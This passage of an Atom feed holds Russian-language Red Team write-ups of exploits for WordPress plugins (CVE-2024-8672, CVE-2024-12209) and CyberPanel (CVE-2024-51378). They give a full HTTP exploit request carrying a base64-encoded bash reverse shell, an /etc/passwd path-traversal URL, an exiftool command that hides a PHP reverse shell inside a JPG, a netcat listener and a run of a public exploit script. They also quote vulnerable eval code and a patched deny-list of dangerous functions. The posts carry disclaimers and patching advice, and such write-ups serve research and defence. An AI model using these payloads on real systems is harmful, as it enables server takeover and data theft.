  &lt;pre id=&quot;XvzW&quot;&gt;GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&amp;amp;attributes[commentsToShow]=5&amp;amp;attributes[displayAvatar]=true&amp;amp;attributes[displayDate]=true&amp;amp;attributes[displayExcerpt]=true&amp;amp;attributes[extended_widget_opts][class][logic]=system(&amp;#x27;echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash&amp;#x27;)%3b&amp;amp;post_id=0&amp;amp;_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641&lt;/pre&gt;
  &lt;p id=&quot;tuSc&quot;&gt;Здесь параметр &lt;code&gt;GET&lt;/code&gt; &lt;code&gt;attributes[extended_widget_opts][class][logic]&lt;/code&gt; передается в функцию &lt;code&gt;PHP&lt;/code&gt; &lt;code&gt;eval&lt;/code&gt;, которая выполняет переданный ей аргумент как код &lt;code&gt;PHP&lt;/code&gt;. При этом значение данного параметра содержит вызов функции &lt;code&gt;system&lt;/code&gt;, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.&lt;/p&gt;
  &lt;p id=&quot;EkPS&quot;&gt;Таким образом, в терминал операционной системы сервера передается команда &lt;code&gt;echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash&lt;/code&gt;, которая представляет собой инструкцию для отправки обратного шелла (или &lt;code&gt;reverse shell&lt;/code&gt;) на атакующую машину. Эта команда декодирует закодированную строку с помощью &lt;code&gt;base64&lt;/code&gt; и передает результат в интерпретатор &lt;code&gt;bash&lt;/code&gt;, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.&lt;/p&gt;
  &lt;blockquote id=&quot;zZGK&quot;&gt;Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.&lt;/blockquote&gt;
  &lt;h3 id=&quot;VIlo&quot;&gt;Причины уязвимости&lt;/h3&gt;
  &lt;p id=&quot;77Ld&quot;&gt;Причина уязвимости тривиальна: разработчики передают &lt;code&gt;GET&lt;/code&gt;-параметр в функцию &lt;code&gt;eval&lt;/code&gt; без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый &lt;code&gt;GET&lt;/code&gt;-параметр до устранения данной уязвимости:&lt;/p&gt;
  &lt;pre id=&quot;1nrD&quot;&gt;function widgetopts_safe_eval($expression)
{
    ob_start();
    try {
        $result = (bool) eval(&amp;quot;return $expression;&amp;quot;);
    } catch (Throwable $e) {
        return false;
    }
    ob_end_clean();

    return $result;
}&lt;/pre&gt;
  &lt;p id=&quot;6SSN&quot;&gt;Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию &lt;code&gt;eval&lt;/code&gt;. После исправления разработчик внедрил фильтрацию потенциально опасных функций &lt;code&gt;PHP&lt;/code&gt;, в результате чего функция была модифицирована следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;CUat&quot;&gt;function widgetopts_safe_eval($expression)
{
    // List of potentially harmful patterns
    $dangerous_patterns = [
        // Database-related keywords
        &amp;#x27;/\binsert\b/i&amp;#x27;,
        &amp;#x27;/\bupdate\b/i&amp;#x27;,
        &amp;#x27;/\bdelete\b/i&amp;#x27;,
        &amp;#x27;/\breplace\b/i&amp;#x27;,
        &amp;#x27;/\bselect\b/i&amp;#x27;,
        &amp;#x27;/\bdrop\b/i&amp;#x27;,
        &amp;#x27;/\balter\b/i&amp;#x27;,

        // WordPress-specific database functions
        &amp;#x27;/\bwp_insert_post\b/i&amp;#x27;,
        &amp;#x27;/\bwp_update_post\b/i&amp;#x27;,
        &amp;#x27;/\bwp_delete_post\b/i&amp;#x27;,
        &amp;#x27;/\bwp_insert_user\b/i&amp;#x27;,
        &amp;#x27;/\bwp_update_user\b/i&amp;#x27;,
        &amp;#x27;/\bwp_delete_user\b/i&amp;#x27;,
        &amp;#x27;/\badd_option\b/i&amp;#x27;,
        &amp;#x27;/\bupdate_option\b/i&amp;#x27;,
        &amp;#x27;/\bdelete_option\b/i&amp;#x27;,
        &amp;#x27;/\bwpdb\b/i&amp;#x27;,

        // JavaScript, CSS, and HTML
        &amp;#x27;/&amp;lt;script\b[^&amp;gt;]*&amp;gt;(.*?)&amp;lt;\/script&amp;gt;/i&amp;#x27;,
        &amp;#x27;/&amp;lt;style\b[^&amp;gt;]*&amp;gt;(.*?)&amp;lt;\/style&amp;gt;/i&amp;#x27;,

        // PHP file manipulation functions
        &amp;#x27;/\bfile_put_contents\b/i&amp;#x27;,
        &amp;#x27;/\bfile_get_contents\b/i&amp;#x27;,
        &amp;#x27;/\bfopen\b/i&amp;#x27;,
        &amp;#x27;/\bfwrite\b/i&amp;#x27;,
        &amp;#x27;/\bunlink\b/i&amp;#x27;,
        &amp;#x27;/\brename\b/i&amp;#x27;,
        &amp;#x27;/\bchmod\b/i&amp;#x27;,
        &amp;#x27;/\bchown\b/i&amp;#x27;,
        &amp;#x27;/\bcopy\b/i&amp;#x27;,
        &amp;#x27;/\bscandir\b/i&amp;#x27;,

        // External connections
        &amp;#x27;/\bwp_remote_get\b/i&amp;#x27;,
        &amp;#x27;/\bwp_remote_post\b/i&amp;#x27;,
        &amp;#x27;/\bcurl_init\b/i&amp;#x27;,
        &amp;#x27;/\bstream_context_create\b/i&amp;#x27;,

        // Reflection and dynamic variable/function manipulation
        &amp;#x27;/\bReflectionClass\b/i&amp;#x27;,
        &amp;#x27;/\bReflectionMethod\b/i&amp;#x27;,
        &amp;#x27;/\bReflectionProperty\b/i&amp;#x27;,
        &amp;#x27;/\bcall_user_func\b/i&amp;#x27;,
        &amp;#x27;/\bcall_user_func_array\b/i&amp;#x27;,
        &amp;#x27;/\bextract\b/i&amp;#x27;,
        &amp;#x27;/\bparse_str\b/i&amp;#x27;,

        // System commands
        &amp;#x27;/\beval\b/i&amp;#x27;,
        &amp;#x27;/\bsystem\b/i&amp;#x27;,
        &amp;#x27;/\bshell_exec\b/i&amp;#x27;,
        &amp;#x27;/\bexec\b/i&amp;#x27;,
        &amp;#x27;/\bpassthru\b/i&amp;#x27;,
        &amp;#x27;/\bpopen\b/i&amp;#x27;
    ];

    $return = true;
    // Pattern matching
    foreach ($dangerous_patterns as $pattern) {
        if (preg_match($pattern, $expression)) {
            $return = false;
            break;
        }
    }

    if ($return === false) {
        return $return;
    }

    if (stristr($expression, &amp;quot;return&amp;quot;) === false) {
        $expression = &amp;quot;return (&amp;quot; . $expression . &amp;quot;);&amp;quot;;
    }

    ob_start();
    try {
        $result = (bool) (@eval($expression));
    } catch (\Exception $e) {
        $result = false;
    } catch (\Error $e) {
        $result = false;
    } catch (\ParseError $e) {
        $result = false;
    } catch (\Throwable $e) {
        $result = false;
    }
    ob_end_clean();

    return $result;
}&lt;/pre&gt;
  &lt;blockquote id=&quot;oMOd&quot;&gt;Стоит отметить, что примененный в решении разработчика подход &amp;quot;черного списка&amp;quot; является менее безопасным по сравнению с подходом &amp;quot;белого списка&amp;quot;. Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;V7xW&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Hhyf&quot;&gt;В заключение, уязвимость &lt;code&gt;CVE-2024-8672&lt;/code&gt;, обладающая высоким уровнем критичности с оценкой &lt;code&gt;CVSS 9.9&lt;/code&gt;, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами &lt;code&gt;Contributor&lt;/code&gt; и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. &lt;/p&gt;
  &lt;p id=&quot;565T&quot;&gt;В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи - &lt;code&gt;4.0.8&lt;/code&gt;), в которой данная уязвимость была устранена.&lt;/p&gt;
  &lt;p id=&quot;MS7Z&quot;&gt;Сегодня мы рассмотрим критическую уязвимость в плагине &lt;code&gt;WordPress&lt;/code&gt;, затрагивающую более &lt;code&gt;100,000 сайтов&lt;/code&gt;. Данная уязвимость имеет высокую оценку &lt;code&gt;CVSS 9.9&lt;/code&gt; и предоставляет пользователям с правами &lt;code&gt;Contributor&lt;/code&gt; и выше возможность &lt;code&gt;удаленного выполнения вредоносного кода&lt;/code&gt; на сервере приложения.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:wordpress_umbrella_cve_2024_12209</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/wordpress_umbrella_cve_2024_12209?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Критическая уязвимость в Wordpress-плагине WP Umbrella (CVE-2024-12209)</title><published>2024-12-17T15:16:38.840Z</published><updated>2024-12-17T15:16:38.840Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/8a/32/8a32d083-28c1-4f8b-9a0f-8e847b60d4d6.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/fb/4c/fb4c1b82-fae0-471f-a915-1ed6d84a8b06.png&quot;&gt;В популярном плагине WordPress — WP Umbrella, установленном более чем на 30 000 сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор CVE-2024-12209, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;EWor&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zPaj&quot;&gt;В популярном плагине &lt;code&gt;WordPress&lt;/code&gt; — &lt;code&gt;WP Umbrella&lt;/code&gt;, установленном более чем на &lt;code&gt;30 000&lt;/code&gt; сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор &lt;code&gt;CVE-2024-12209&lt;/code&gt;, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.&lt;/p&gt;
  &lt;p id=&quot;hkNZ&quot;&gt;Уязвимость имеет оценку в &lt;code&gt;9.8&lt;/code&gt; баллов по &lt;code&gt;CVSS&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;KMdx&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;yGlo&quot;&gt;Для чего используется плагин WP Umbrella&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;UkiP&quot;&gt;&lt;strong&gt;WP Umbrella&lt;/strong&gt; — это плагин для управления &lt;code&gt;WordPress&lt;/code&gt;-сайтами, который облегчает мониторинг, управление и обслуживание множества сайтов с одной центральной панели. Этот инструмент особенно полезен для разработчиков, агентств и владельцев бизнеса, которые обслуживают несколько сайтов &lt;code&gt;WordPress&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;w9NF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/a7/1fa7b6bf-6f84-416d-b15b-f95b6aec05eb.png&quot; width=&quot;355&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;JKY0&quot;&gt;Подготовка стендового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;irj8&quot;&gt;Для работы &lt;code&gt;WordPress&lt;/code&gt; необходимо установить веб-сервер с поддержкой &lt;code&gt;PHP&lt;/code&gt;, а также поднять &lt;code&gt;MySQL&lt;/code&gt;. В качестве тестового окружения будет использоваться &lt;a href=&quot;https://www.apachefriends.org/ru/index.html&quot; target=&quot;_blank&quot;&gt;XAMPP&lt;/a&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;mMeS&quot;&gt;Установка WordPress&lt;/h3&gt;
  &lt;p id=&quot;lI99&quot;&gt;Заходим на &lt;a href=&quot;https://wordpress.org/download/&quot; target=&quot;_blank&quot;&gt;страницу загрузки&lt;/a&gt; &lt;code&gt;WordPress&lt;/code&gt; и скачиваем последнюю версию:&lt;/p&gt;
  &lt;figure id=&quot;PbsT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0e/e9/0ee916de-bbc6-48dc-93c8-89d9545aed8c.png&quot; width=&quot;1908&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;82m3&quot;&gt;Теперь нужно разархивировать &lt;code&gt;WordPress&lt;/code&gt; и перенести его в корневой каталог веб-сервера (для XAMPP - &lt;code&gt;/opt/lampp/htdocs&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;VTij&quot;&gt;cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/&lt;/pre&gt;
  &lt;p id=&quot;SVAl&quot;&gt;Также нужно изменить владельца папки &lt;code&gt;wordpress&lt;/code&gt; на пользователя веб-сервера (в случае с XAMPP - &lt;code&gt;daemon&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;Ys6S&quot;&gt;sudo chown -R daemon:daemon /opt/lampp/htdocs&lt;/pre&gt;
  &lt;p id=&quot;2P08&quot;&gt;Дальнейшая установка происходит в &lt;code&gt;GUI WordPress&lt;/code&gt;. Чтобы перейти к нему в браузере заходим на &lt;a href=&quot;http://127.0.0.1/wordpress&quot; target=&quot;_blank&quot;&gt;http://127.0.0.1/wordpress&lt;/a&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;5mlf&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;g9Qm&quot;&gt;&lt;code&gt;LFI&lt;/code&gt; (&lt;code&gt;Local File Inclusion&lt;/code&gt;) — это уязвимость в веб-приложениях, которая позволяет злоумышленнику включать файлы с локального сервера в контексте работы приложения. Обычно она возникает из-за недостаточной обработки входных данных в функциях, которые динамически подключают файлы, например, в &lt;code&gt;PHP&lt;/code&gt; через &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;require&lt;/code&gt;, &lt;code&gt;include_once&lt;/code&gt; или &lt;code&gt;require_once&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;SEkB&quot;&gt;&lt;code&gt;LFI&lt;/code&gt; в &lt;code&gt;WP Umbrella&lt;/code&gt; доступна через параметр &lt;code&gt;filename&lt;/code&gt; в функции &lt;code&gt;umbrella-restore.&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;4evi&quot;&gt;В статье будет рассмотрено два вектора эксплуатации уязвимости:&lt;/p&gt;
  &lt;ol id=&quot;2a6N&quot;&gt;
    &lt;li id=&quot;WRYV&quot;&gt;Для пользователя с ролью “&lt;code&gt;Участник&lt;/code&gt;”, которому не доступна загрузка медиафайлов.&lt;/li&gt;
    &lt;li id=&quot;DSc6&quot;&gt;Для пользователя с ролью “&lt;code&gt;Автор&lt;/code&gt;”, которому доступна загрузка медиафайлов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;ynq2&quot;&gt;Первый вектор&lt;/h3&gt;
  &lt;p id=&quot;7kmB&quot;&gt;Для эксплуатации используем уже существующий &lt;a href=&quot;https://github.com/RandomRobbieBF/CVE-2024-12209&quot; target=&quot;_blank&quot;&gt;PoC&lt;/a&gt;.&lt;/p&gt;
  &lt;pre id=&quot;wpvR&quot;&gt;https://wp-dev.ddev.site/?umbrella-restore=1&amp;amp;filename=../../../../../../etc/passwd&lt;/pre&gt;
  &lt;figure id=&quot;n5UC&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9c/61/9c61b604-d2ce-4fd7-a3de-de3848ee8ebd.png&quot; width=&quot;1914&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;W5Ju&quot;&gt;Второй вектор&lt;/h3&gt;
  &lt;p id=&quot;U2ts&quot;&gt;Подготовим &lt;code&gt;jpg&lt;/code&gt; файл, который нужно будет загрузить на сервер. При помощи &lt;code&gt;ExifTool&lt;/code&gt; добавим в комментарий &lt;code&gt;Reverse Shell&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;qiM9&quot;&gt;exiftool -Comment=&amp;quot;&amp;lt;?php system(&amp;#x27;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash&amp;#x27;)?&amp;gt;&amp;quot; name.jpg&lt;/pre&gt;
  &lt;figure id=&quot;Sp9A&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/e8/80e82b7f-c17f-46bb-ab23-ec8420c9e3cb.png&quot; width=&quot;1056&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;16To&quot;&gt;Чтобы загрузить файл, необходимо перейти во вкладку “&lt;code&gt;Медиафайлы&lt;/code&gt;” и нажать “&lt;code&gt;Добавить новый медиафайл&lt;/code&gt;”.&lt;/p&gt;
  &lt;figure id=&quot;wVyn&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3d/dd/3ddd910a-aaf0-4617-8295-556a0f147948.png&quot; width=&quot;845&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MCK3&quot;&gt;Когда файл загружен необходимо узнать по какому пути он находится, для этого можно скопировать &lt;code&gt;URL&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;YOGp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1c/b6/1cb63027-8cb2-41f5-9576-85b5f0da5458.png&quot; width=&quot;1038&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;xH7X&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/81/ae815dbb-4d41-44a8-9a8d-a654897e4465.png&quot; width=&quot;1911&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tjDO&quot;&gt;От лица атакующего необходимо запустить слушателя:&lt;/p&gt;
  &lt;pre id=&quot;YetE&quot;&gt;nc -lvnp 4444&lt;/pre&gt;
  &lt;p id=&quot;xVbf&quot;&gt;Теперь при помощи &lt;code&gt;LFI&lt;/code&gt; можно открыть этот файл:&lt;/p&gt;
  &lt;pre id=&quot;8CEb&quot;&gt;http://localhost/?umbrella-restore=1&amp;amp;filename=wp-content/uploads/2024/12/maxresdefault.jpg&lt;/pre&gt;
  &lt;p id=&quot;DpMt&quot;&gt;Получаем &lt;code&gt;connect&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;jUFx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/95/82/95820ff5-0851-4072-96a5-e5b16c397718.png&quot; width=&quot;633&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vJ7R&quot;&gt;Прочитаем флаг:&lt;/p&gt;
  &lt;figure id=&quot;mApH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f5/77/f5774ec8-3656-452e-9487-d44fe23e3ecb.png&quot; width=&quot;641&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;ZsQ0&quot;&gt;Рекомендации по устранению&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;slBx&quot;&gt;Для предотвращения подобных атак настоятельно рекомендуется:&lt;/p&gt;
  &lt;ul id=&quot;SvgF&quot;&gt;
    &lt;li id=&quot;dI7D&quot;&gt;Немедленно обновлять плагин до исправленной версии.&lt;/li&gt;
    &lt;li id=&quot;bEmQ&quot;&gt;Применять передовые методы безопасности, включая регулярное резервное копирование и использование веб-файерволов.&lt;/li&gt;
    &lt;li id=&quot;2vwD&quot;&gt;Следить за обновлениями системы и её компонентов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;AHkZ&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;dSx3&quot;&gt;&lt;code&gt;CVE-2024-12209&lt;/code&gt; демонстрирует критическую важность регулярного мониторинга и обновления используемых плагинов для &lt;code&gt;WordPress&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;bAA5&quot;&gt;Уязвимость в &lt;code&gt;WP Umbrella&lt;/code&gt;, связанная с локальным включением файлов, позволяет атакующим осуществлять удалённое выполнение кода, что приводит к серьёзным последствиям, включая утечку данных и полный контроль над сервером.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:cyberpanel_cve_2024_51378</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/cyberpanel_cve_2024_51378?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>CyberPanel Command Injection Vulnerability (CVE-2024-51378)</title><published>2024-12-16T07:24:00.842Z</published><updated>2024-12-16T07:24:00.842Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/12/6f/126f48c2-ca56-4fea-a31f-d40764a17346.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/e6/da/e6daf4fb-c366-402c-bb64-8747651abf79.png&quot;&gt;В программном обеспечении CyberPanel обнаружена уязвимость, связанная с обходом аутентификации и выполнением произвольных команд через эндпоинты /dns/getresetstatus и /ftp/getresetstatus. Уязвимость присутствует в файлах dns/views.py и ftp/views.py версий до 2.3.7 включительно.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;AiCm&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;AyHe&quot;&gt;В программном обеспечении &lt;code&gt;CyberPanel&lt;/code&gt; обнаружена уязвимость, связанная с обходом аутентификации и выполнением произвольных команд через эндпоинты &lt;code&gt;/dns/getresetstatus&lt;/code&gt; и &lt;code&gt;/ftp/getresetstatus&lt;/code&gt;. Уязвимость присутствует в файлах &lt;code&gt;dns/views.py&lt;/code&gt; и &lt;code&gt;ftp/views.py&lt;/code&gt; версий до &lt;code&gt;2.3.7&lt;/code&gt; включительно.&lt;/p&gt;
  &lt;blockquote id=&quot;mb1l&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;kqyG&quot;&gt;Что такое CyberPanel&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zcBC&quot;&gt;&lt;strong&gt;CyberPanel&lt;/strong&gt; — это популярная бесплатная (с премиум-версией) панель управления сервером с открытым исходным кодом, разработанная для управления веб-хостингом и серверными ресурсами.&lt;/p&gt;
  &lt;p id=&quot;HQW4&quot;&gt;Она позволяет администраторам удобно управлять сайтами, доменами, базами данных, почтовыми сервисами и другими функциями через графический веб-интерфейс.&lt;/p&gt;
  &lt;p id=&quot;5K22&quot;&gt;&lt;code&gt;CyberPanel&lt;/code&gt; особенно востребована среди небольших хостинговых компаний, разработчиков и владельцев сайтов, благодаря своей простоте использования и поддержке современных технологий.&lt;/p&gt;
  &lt;figure id=&quot;9Req&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e6/da/e6daf4fb-c366-402c-bb64-8747651abf79.png&quot; width=&quot;1106&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;CS6O&quot;&gt;Подготовка стендового окружения&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;CKh1&quot;&gt;Для эксплуатирования уязвимости будет использоваться &lt;code&gt;VPS&lt;/code&gt;, на которой используется &lt;code&gt;CyberPanel&lt;/code&gt; уязвимой версии.&lt;/p&gt;
  &lt;p id=&quot;Aav4&quot;&gt;Для установки необходимо выполнить следующие команды:&lt;/p&gt;
  &lt;p id=&quot;T0Ii&quot;&gt;Обновить кэш пакетного менеджера:&lt;/p&gt;
  &lt;pre id=&quot;kyZ3&quot;&gt;apt-get update&lt;/pre&gt;
  &lt;p id=&quot;1mtv&quot;&gt;Установить утилиту &lt;code&gt;wget&lt;/code&gt; и скачать установочный скрипт:&lt;/p&gt;
  &lt;pre id=&quot;T4dJ&quot;&gt;apt install wget
cd /opt
wget -O installer.sh &amp;lt;https://cyberpanel.net/install.sh&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;6qMg&quot;&gt;Запустить скрипт:&lt;/p&gt;
  &lt;pre id=&quot;GhN1&quot;&gt;chmod +x installer.sh
sh installer.sh&lt;/pre&gt;
  &lt;p id=&quot;dIwa&quot;&gt;Далее идет конфигурирование панели перед установкой.&lt;/p&gt;
  &lt;p id=&quot;JWuD&quot;&gt;По окончании процедуры установки будет такой вывод:&lt;/p&gt;
  &lt;figure id=&quot;Eyoz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f9/58/f958ba17-290d-43a9-804b-0a0d75a40c2a.png&quot; width=&quot;682&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7hqH&quot;&gt;Когда операционная система сервера загрузится, откройте в браузере вебстраницу &lt;code&gt;https://&amp;lt;IP_вашего_сервера&amp;gt;:8090&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;iLCZ&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;YoPV&quot;&gt;&lt;code&gt;RCE (Remote Code Execution)&lt;/code&gt; — это тип уязвимости в программном обеспечении, позволяющий злоумышленнику удалённо выполнять произвольный код на сервере или устройстве, уязвимом к данной атаке. &lt;code&gt;RCE&lt;/code&gt; считается одной из наиболее опасных уязвимостей, так как она предоставляет атакующему практически полный контроль над целевой системой.&lt;/p&gt;
  &lt;p id=&quot;ZIEf&quot;&gt;Для демонстрации эксплуатации воспользуемся публичным эксплойтом:&lt;/p&gt;
  &lt;pre id=&quot;mn3E&quot;&gt;git clone https://github.com/refr4g/CVE-2024-51378.git&lt;/pre&gt;
  &lt;p id=&quot;LUlw&quot;&gt;Запустим скрипт:&lt;/p&gt;
  &lt;pre id=&quot;ImjL&quot;&gt;cd CVE-2024-51378
python3 CVE-2024-51378.py http://target.com:8090 /ftp/getresetstatus&lt;/pre&gt;
  &lt;figure id=&quot;FNUi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8f/48/8f485918-b427-4088-ae39-8f40560bfc91.png&quot; width=&quot;642&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jjbH&quot;&gt;Получаем &lt;code&gt;root&lt;/code&gt;-флаг:&lt;/p&gt;
  &lt;figure id=&quot;8ONc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d6/bf/d6bffe26-0a66-44a7-914e-b288a39b9d15.png&quot; width=&quot;667&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;S3hj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/57/c4578991-db81-48e2-b173-47052d1ad1f7.png&quot; width=&quot;586&quot; /&gt;
  &lt;/figure&gt;
